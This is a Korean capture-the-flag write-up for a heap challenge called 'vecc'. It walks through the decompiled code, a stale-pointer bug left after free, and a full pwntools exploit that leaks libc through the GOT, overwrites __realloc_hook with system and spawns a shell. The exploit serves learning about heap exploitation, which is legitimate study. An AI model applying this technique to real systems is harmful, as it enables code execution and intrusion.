1. 문제
1) mitigation 확인
got overwrite 불가능
2) 문제 확인
전형적인 힙문제이다.
3) 코드흐름 파악
우선 구조파악후, 구조체를 하나 만들어줬다.
struct vecc
{
char *realloc_buf;
unsigned int stored_size;
unsigned int realloc_size;
};
C
복사
signed __int64 shell()
{
signed __int64 result; // rax
char index; // [rsp+Dh] [rbp-Bh]
puts("0: exit");
puts("1: create vecc");
puts("2: destroy vecc");
puts("3: append vecc");
puts("4: clear vecc");
puts("5: show vecc");
printf("> ");
fgets(&index, 3, stdin);
switch ( index )
{
case '0':
result = 1LL;
break;
case '1':
create_vecc();
result = 0LL;
break;
case '2':
destroy_vecc();
result = 0LL;
break;
case '3':
append_vecc();
result = 0LL;
break;
case '4':
clear_vecc(); // realloc(pow_return) size를 0으로만듬
result = 0LL;
break;
case '5':
show_vecc();
result = 0LL;
break;
default:
puts("Invalid selection, try again");
result = 0LL;
break;
}
return result;
}
C
복사
메인에서 반복문을 돌면서 shell() 함수를 실행시킨다. table 이라는 전역변수에 저장된 배열에서 힙을 관리한다. create() 함수로 힙을 하나 만들면,
int create_vecc()
{
int index; // eax
index = get_index();
if ( index == -1 )
return puts("Invalid!");
table[index] = (table **)malloc(0x10uLL);
return puts("Done!");
}
C
복사
0x10 사이즈 힙이 table 배열에 할당된다. 3번 메뉴로 데이터를 원하는 사이즈 만큼 넣을수 있다.
C++의 벡터처럼 vecc 의 구조체가 그 역할을 대략적으로 하는것을 확인했다. 3번이 수행되면 다음과 같이 데이터가 구성된다.
create로 만든 vecc 구조체 공간이 존재하면, 사이즈와 데이터를 입력받고, 해당 사이즈 만큼 임시버퍼 마냥 힙을 할당받고 거기다 데이터를 넣는다. 그리고 realloc으로 힙을 재할당하여 realloc_buf 필드에 해당 주소를 넣는다.
그다음 임시버퍼의 내용을 memcpy로 realloc으로 할당받은 힙에 복사한다.
다른 메뉴로직은 간단한데 해당 append 함수로직만 쫌 복잡했다. 분명 이 안에 뭔가가 있을것같았지만 쫄아서 못풀었다.
이번에는 free가 되는 부분을 살펴보자.
int destroy_vecc()
{
int index; // eax
__int64 index_; // rbx
table *delete_heap_addr; // rbp
table **table_buf; // rdi
index = get_index();
if ( index == -1 )
return puts("Invalid!");
index_ = index;
delete_heap_addr = (table *)table[index];
if ( !delete_heap_addr )
return puts("No vecc there!");
table_buf = table[index];
if ( delete_heap_addr->realloc_buf )
{
free(delete_heap_addr->realloc_buf);
table_buf = table[index_];
}
delete_heap_addr->realloc_buf = 0LL;
*(_QWORD *)&delete_heap_addr->stored_size = 0LL;
free(table_buf); // 1. 구조체안 realloc힙주소 free
// 2. table배열에 할당받은 구조체 free
table[index_] = 0LL;
return puts("Done!");
}
C
복사
realloc으로 할당받은 힙을 먼저 free시키고, vecc 구조체를 위해 할당받았던 힙을 free 시킨다. 잘보면, vecc 구조체의 stored_size 영역은 0을 초기화 시킨다. 이는 bk의 하위4바이트 영역이다. 헌데 fd는 초기화를 하지 않고, realloc_buf 영역의 fd를 0으로만 초기화시킨다. 즉 vecc의 fd는 free가 되어도 초기화가 안된다.
2. 접근방법
눈에 띄는 로직버그는 없다. 즉 bof나 double free, uaf 등의 검사로직이 잘 구현되어있다면, 메모리를 할당해주는 부분을 유심히 볼필요가 있다. 위에서 vecc 구조체의 fd 영역이 초기화가 안되는 것을 현재 알고 있다.
append 함수에서 데이터를 저장하는 방식은, table에서 인덱스를 선택하고, 해당 인덱스에 들어있는 vecc→realloc_buf 힙주소를 참조하여 거기에 데이터를 넣는다. 만약 우리가 vecc의 힙 주소가 들어가는 부분을 조작이 가능하면, 정상적인 buf에 값을 쓰는게 아닌, 원하는 곳에 데이터를 쓸수 있을 것이다. 또한 show() 함수 로직도 동일하게 이용하여 메모리 leak을 할수가 있다.
그렇다면 vecc 구조체를 조작하려면 어떻게 해야할까?. vecc 구조체는 0x20 사이즈로 고정이다. append함수에서 만약 0x10 사이즈를 우리가 입력하게 되면, next_pow2 함수의 반환값 역시 0x10이므로 0x20 사이즈의 힙이 힐당될 것이다
next_pow2() 함수는 입력한 사이즈에 가장 가까운 2의 거듭제곱을 반환함. 만약 16을 입력하면 16이 반환. 30을 입력하면 32를 반환함.
처음에 append() 함수로 인덱스 0에 0x10 사이즈를 요청하면 힙에는 vecc 구조체, 임시버퍼, 실제버퍼 총 3개가 0x20 사이즈로 할당될것이고, 호출이 끝나기 직전 임시버퍼는 free된다. 그리고 destory()함수를 호출하여 인덱스 0을 free시키면, 실제버퍼, vecc 구조체 순으로 free가 되고, 현재 tcache에는 3개의 버퍼가 freed되어 연결될것이다.
원래 0x603670은, 제일처음 create()함수로 vecc 구조체를 할당 받은곳이다. 그리고 0x6036b0은 realloc으로 할당받은 실제버퍼이고, 0x603690은 임시버퍼이다. 이상태에서 create(0,1,,2) 이렇게 vecc 구조체를 3번 할당받으면 위 freed 청크를 재할당 받을것이다.
freed청크를 재할당 받으면서 fd가 초기화되지 않았으므로, table[0], table[1] 을 이용하여 leak 과 원하는 영역에 값을 쓸수 있다. 예를 들어 table[1]을 선택하고 append()가 진행되면, 현재 table[1]→realloc_buf 필드에 값을 넣을수 있다. 현재는 0x603690에 값이 넣어질텐데, 하나 주의해야할 것이 있다.
append 함수를 보면 실제 데이터 저장은 vecc_append 함수에서 이뤄지는걸 볼수 있다.
...
table_ = table;
append_len = size;
current_size = table->stored_size;
check_size = (unsigned int)current_size + size //구조체 내에 저장된 사이즈 + 입력한 사이즈
re_buf = table_->realloc_buf;
if ( (unsigned int)check_size > table_->realloc_size )
{
next_pow_result = next_pow2(check_size);
v9 = next_pow_result;
v11 = (char *)realloc(v10, next_pow_result);
re_buf = v11;
table_->realloc_buf = v11;
v5 = table_->stored_size;
table_->realloc_size = v9;
}
result = memcpy(&re_buf[current_size], buf, append_len);
table_->stored_size += append_len;
return result;
C
복사
현재 vecc 구조체의 stored_size 필드에 들어있는 값과, 사용자가 입력한 사이즈를 더한다. 그리고 realloc_size 필드의 값과 비교를 하는데, 해당 조건문이 참이되면, realloc을 호출해서 fd영역에 해당 주소를 넣는다. 따라서 분기문에 못들어오도록 잘 조정해야한다.
이상태에서 table[1]→append(A*0x10)를 호출하면,
•
check_size : 0x61616161 + 0x10
•
table_->realloc_size : 0x0a616161
즉 조건문에 참이 된다. 따라서 조건문이 거짓이 되게끔하려면 clear() 함수를 호출하여
table->stored_size 를 0으로 만들어야한다. 이렇게 되면, checksize는 0 + 0x10이 되어 조건문이 거짓이 되고, realloc이 아닌 현재 들어있는 버퍼에 값을 넣는다.
3. 풀이
그이후에는 간단한다.
1.
leak을 한후
2.
realloc_hook을 system함수로 덮는다.
3.
마지막에 realloc을 호출하게끔 하면서 인자로 bin_sh 주소를 넣는다.
from pwn import *
def create(index):
p.sendlineafter("> ",'1')
p.sendlineafter("Index?\n> ",str(index))
def free(index):
p.sendlineafter("> ",'2')
p.sendlineafter("Index?\n> ",str(index))
def append(index,len,data):
p.sendlineafter("> ",'3')
p.sendlineafter("Index?\n> ",str(index))
p.sendlineafter("Length?\n> ",str(len))
p.sendline(data)
def clear(index):
p.sendlineafter("> ",'4')
p.sendlineafter("Index?\n> ",str(index))
def show(index):
p.sendlineafter("> ",'5')
p.sendlineafter("Index?\n> ",str(index))
context(log_level='DEBUG')
p=process("./vecc")
#gdb.attach(p)
create(0)
append(0,0x10,"A"*0x10)
free(0)
create(0)
create(1)
create(2)
clear(1)
append(1,0x10,p64(0x601fa0)+p32(8)+p32(0))
show(2)
puts_leak=p.recvuntil('\n')[:-3]
puts_leak=u64(puts_leak.ljust(8,'\x00'))
log.info('puts:: '+hex(puts_leak))
clear(1)
append(1,0x10,p64(0x601fa8)+p32(8)+p32(0))
show(2)
fread=p.recvuntil('\n')[:-3]
fread=u64(fread.ljust(8,'\x00'))
log.info('fread:: '+hex(fread))
libcbase=fread-0x07f3f0
system_=libcbase+0x04f4e0
str_bin=libcbase+0x1b40fa
free_hook=libcbase+0x000003ed8e8
real_hook=libcbase+0x000000003ebc28
free_got=0x601f90
o=[0x4f365,0x4f3c2,0x10a45c]
one=libcbase+o[2]
clear(1)
append(1,0x10,p64(real_hook)+p32(8)+'AAAA')
clear(2)
append(2,0x10,p64(system_)+p64(0))
clear(1)
append(1,0x10,p64(str_bin)+p32(8)+p32(8))
append(2,0x10,p64(8)*2)
p.interactive()
C
복사
4. 몰랐던 개념
•
full relro 인거 못보고 got 덮을라고 개삽질함
•
free_hook덮을라고 했는데 자꾸 터짐 ⇒ 알고보니 권한없음 ;;
•
realloc_hook은 덮을수 있음 → 원샷으로 덮음
•
원샷 실행 안됨 → 그냥 시스템함수 이용.
힙 문제의 경험이 아직 부족한듯. 메모리를 할당하는 부분을 유의해서 보자.